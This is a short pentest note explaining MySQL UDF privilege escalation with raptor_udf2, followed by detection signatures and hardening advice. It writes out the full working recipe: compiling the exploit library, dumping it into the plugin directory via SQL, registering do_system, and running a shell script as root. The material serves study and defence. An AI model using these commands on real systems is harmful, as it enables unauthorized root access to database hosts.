MySQL UDF abuse (raptor_udf2)
MySQL lets you extend its language with user-defined functions (UDF): SQL functions whose code lives in a shared library (.so) loaded from the plugin directory. If we register a UDF that runs system commands, those commands run as the MySQL process user. When mysqld runs as root (a common bad practice), that is a direct escalation to root.
Why it matters. The vector is not a MySQL flaw but a misconfiguration: running the engine as root. The hint that gives it away is usually in plain sight: a file the database wrote (for example, a webshell created with INTO OUTFILE) shows up as root:root, or a ps aux shows /usr/sbin/mysqld with UID 0. To abuse it you need to run SQL as a privileged user (INSERT/CREATE and FILE), usually via found credentials or through a SQL injection.
The classic recipe (raptor_udf2, exploit-db 1518). First, compile the library that exposes the do_system function:
searchsploit -m linux/local/1518.c
gcc -g -c 1518.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so 1518.o -lcThen upload the .so to the victim (to /tmp, for example) and, from MySQL, dump it into the plugin directory and register the function:
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select do_system('/bin/bash /tmp/bash.sh');The final select runs the command as root. One thing to keep in mind: the plugin directory path depends on the version (SHOW VARIABLES LIKE 'plugin_dir'), and on modern MySQL/MariaDB secure_file_priv may block load_file/dumpfile. Even so, on versions like 5.x with the default configuration the technique still works.
How to detect it. On disk, the signature is a non-legitimate .so appearing in the plugin directory (/usr/lib/mysql/plugin/), owned by mysql/root and created by mysqld (FIM/auditd over create on that path). In the engine, the general query log records the telltale sequence: select ... into dumpfile '.../plugin/...' followed by create function ... soname and do_system(...), something no normal application runs. On the host, mysqld (UID 0 or mysql) spawning sh/bash as a child is the confirmation (auditd/Sysmon for Linux over execve with ppid=mysqld).
Defence. Never run mysqld as root: use the mysql service account with least privilege, so a UDF abuse stays a service shell rather than root. Restrict the FILE privilege to the accounts that genuinely need it and set secure_file_priv to an inert directory. Related to SQLi with INTO OUTFILE and command injection.
Machines where it's used
- PebblesProving Grounds Practice